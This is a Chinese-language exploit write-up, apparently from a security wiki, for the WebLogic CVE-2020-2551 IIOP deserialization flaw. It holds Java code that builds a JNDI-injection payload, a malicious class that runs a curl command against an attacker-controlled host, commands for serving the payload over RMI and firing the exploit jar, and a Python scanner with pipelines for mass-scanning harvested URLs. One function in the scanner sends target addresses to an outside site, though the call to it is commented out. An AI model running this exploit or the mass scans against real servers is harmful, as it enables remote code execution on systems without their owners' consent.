menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 134-WebLogic chevron_right 015-CVE-2020-2551 Weblogic CVE-2020-2551 IIOP协议反序列化rce.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    015-CVE-2020-2551 Weblogic CVE-2020-2551 IIOP协议反序列化rce.md
    7.16 KB / 2021-07-17 00:01:30
        # CVE-2020-2551 Weblogic CVE-2020-2551 IIOP协议反序列化rce
    
    ### 一、漏洞简介
    
    ### 二、漏洞影响
    
    ### 三、复现过程
    
    漏洞分析
    
    现在我们来看这个漏洞。IIOP传输的过程中会自动序列化和反序列化,那么我们可以通过向服务器7001端口发送一个恶意的序列化对象,IIOP达到RCE。
    
    发送恶意序列化对象的过程,其实就是bind的过程,由此我们可以构造请求
    
    
    ```bash
    Hashtable<String, String> env = new Hashtable<String, String>();
    // add wlsserver/server/lib/weblogic.jar to classpath,else will error.
    env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
    env.put("java.naming.provider.url", rhost);
    Context context = new InitialContext(env);
    // get Object to Deserialize
    JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
    jtaTransactionManager.setUserTransactionName(rmiurl);
    
    Remote remote = createMemoitizedProxy(createMap("pwned"+System.nanoTime(), jtaTransactionManager), Remote.class);
    context.rebind("Y4er"+System.nanoTime(), remote);
    Hashtable<String, String> env = new Hashtable<String, String>();
    // add wlsserver/server/lib/weblogic.jar to classpath,else will error.
    env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
    env.put("java.naming.provider.url", rhost);
    Context context = new InitialContext(env);
    // get Object to Deserialize
    JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
    jtaTransactionManager.setUserTransactionName(rmiurl);
    
    Remote remote = createMemoitizedProxy(createMap("pwned"+System.nanoTime(), jtaTransactionManager), Remote.class);
    context.rebind("Y4er"+System.nanoTime(), remote);
    ```
    
    你肯定疑惑JtaTransactionManager和weblogic.jndi.WLInitialContextFactory是从哪来的?
    
    1. JtaTransactionManager是spring爆出的一个可以JNDI注入的类,在weblogic中也存在。
    2. weblogic.jndi.WLInitialContextFactory 是weblogic的JNDI工厂类。
    
    国际惯例,跟一下流程,IIOP解析数据流的部分看不懂不跟了,从IIOP开始反序列化对象开始
    
    E:/source/java/Weblogic/src/main/resources/lib/modules/weblogic.jar!/weblogic/iiop/IIOPInputStream.class:1725
    
    ![](images/15893795047892.png)
    
    
    此时var2是序列化传入的com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager,跟进readValue()
    
    ![](images/15893795108861.png)
    
    
    跟进readValueData(),判断是否有readObject方法之后进入自身的readObject(),也就是om.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager的readObject
    
    ![](images/15893795187375.png)
    
    
    然后通过反射调用JtaTransactionManager的readObject(),跟进
    
    ![](images/15893795284066.png)
    
    
    到此之后就是Weblogic的CVE-2018-3191 spring JNDI注入了,简单来说就是lookup()的参数可控,导致可以加载任意类。我们继续跟进initUserTransactionAndTransactionManager()
    
    ![](images/15893795354345.png)
    
    
    如果userTransaction等于空有userTransactionName属性则进入lookupUserTransaction(),跟进
    
    ![](images/15893795440097.png)
    
    
    此时lookup()参数可控
    
    ![](images/15893795505300.png)
    
    
    lookup加载我们的RMI服务,可以注入恶意ip的rmi服务,触发实例化恶意类构造方法调用
    
    #### 漏洞复现
    
    https://github.com/ianxtianxt/CVE-2020-2551
    
    下载jar包,然后使用marshalsec起一个恶意的RMI服务,本地编译一个exp.java
    
    
    ```bash
    package payload;
    
    import java.io.IOException;
    
    public class exp {
    
        public exp() {
            String cmd = "curl http://172.16.1.1/success";
            try {
                Runtime.getRuntime().exec(cmd).getInputStream();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
    
    ```
    
    尽量使用和weblogic相同的版本编译 然后本地起一个web服务器
    
    
    ```bash
    python -m http.server --bind 0.0.0.0 80
    ```
    
    命令行运行jar包
    
    
    ```bash
    java -jar weblogic_CVE_2020_2551.jar 172.16.1.128 7001 rmi://172.16.1.1:1099/exp
    ```
    
    实际效果如图
    
    ![82a0abee2e1b4a19ae52db4ebd41c59e](images/82a0abee2e1b4a19ae52db4ebd41c59e.gif)
    
    
    python脚本
    
    How use
    
    
    ```python
    python3 CVE-2020-2551.py -u http://192.168.26.79:7001
    cat urls.txt|sort -u|xargs -I % python3 CVE-2020-2551.py -u %
    cat xxx.html|grep -Eo 'http[s]?:\/\/[^ \/]+'|sort -u|xargs -I % python3 CVE-2020-2551.py -u %
    # 32 Thread check
    cat allXXurl.txt|grep -Eo 'http[s]?:\/\/[^ \/]+'|sort -u|python3 CVE-2020-2551.py -e
    ```
    
    t3, t3s, http, https, iiop, iiops
    
    
    ```bash
    service:jmx:rmi://url:port/jndi/iiop://ip:port/MBean-server-JNDI-name
    service:jmx:iiop://url:port/jndi/weblogic.management.mbeanservers.domainruntime
    service:jmx:t3://url:port/jndi/weblogic.management.mbeanservers.domainruntime
    ```
    
    
    ```python
    #!/usr/bin/env python3
    # -*- coding:utf-8 -*-
    
    import socket,argparse,sys,requests
    from urllib.parse import urlparse
    from multiprocessing.dummy import  Pool as ThreadPool
    """
    only check CVE-2020-2551 vuls
    Twitter: @Hktalent3135773
    Creator: 51pwn_com
    Site: https://51pwn.com
    How use:
    python3 CVE-2020-2551.py -u http://192.168.26.79:7001
    # 32 Thread check
    cat allXXurl.txt|grep -Eo 'http[s]?:\/\/[^ \/]+'|sort -u|python3 CVE-2020-2551.py -e
    """
    
    def doThreads(fnCbk,lists,nThreads=32):
        pool = ThreadPool(nThreads)
        pool.map(fnCbk,lists)
        pool.close()
        pool.join()
    
    def checkOnline(url,cbkUrl):
        try:
            requests.post('http://51pwn.com/CVE-2020-2551/',data={'url':url,cbkUrl:cbkUrl},timeout=(5,9))
        except Exception as e:
            pass
    
    def doSendOne(ip,port,data):
        sock=None
        res=None
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(7)
            server_addr = (ip, int(port))
            sock.connect(server_addr)
            sock.send(data)
            res = sock.recv(20)
            if b'GIOP' in res:
                #checkOnline(ip+':'+str(port),'http://yourSite/?target={}&rst={}')
                return True
        except Exception as e:
            pass
        finally:
            if sock!=None:
                sock.close()
        return False
    g_bPipe=False
    def doOne(url):
        global g_bPipe
        oH=urlparse(url)
        a=oH.netloc.split(':')
        port=80
        if 2 == len(a):
            port=a[1]
        elif 'https' in oH.scheme:
            port=443
        if doSendOne(a[0],port,bytes.fromhex('47494f50010200030000001700000002000000000000000b4e616d6553657276696365')):
            print('found CVE-2020-2551 ', oH.netloc)
        elif g_bPipe == False:
            print('not found CVE-2020-2551 ', oH.netloc)
    
    def doPipe():
        global g_bPipe
        g_bPipe=True
        buff = ''
        a=[]
        while True:
            buff = sys.stdin.readline()
            if not buff:
                break 
            if buff.endswith('\n'):
                szTmpCmd = buff[:-1]
                szTmpCmd=szTmpCmd.rstrip()
            buff = ''
            if not szTmpCmd:
                break 
            a.append(szTmpCmd)
        doThreads(doOne,a)
    
    if __name__=='__main__':
        parser = argparse.ArgumentParser()
        parser.add_argument("-u","--url",help="http://xxx.xxx.xxx:7001/")
        parser.add_argument("-e","--pipeCheck",help="pipe check is Ok,thread 32",action="store_true")
        args = parser.parse_args()
        if args.url:
            doOne(args.url)
        if args.pipeCheck:
            doPipe()
    © 2020 GitHub, Inc.
    ```
    
    参考链接
    
    https://y4er.com/post/weblogic-cve-2020-2551/
    
    https://github.com/hktalent/CVE-2020-2551
    
    links
    file_download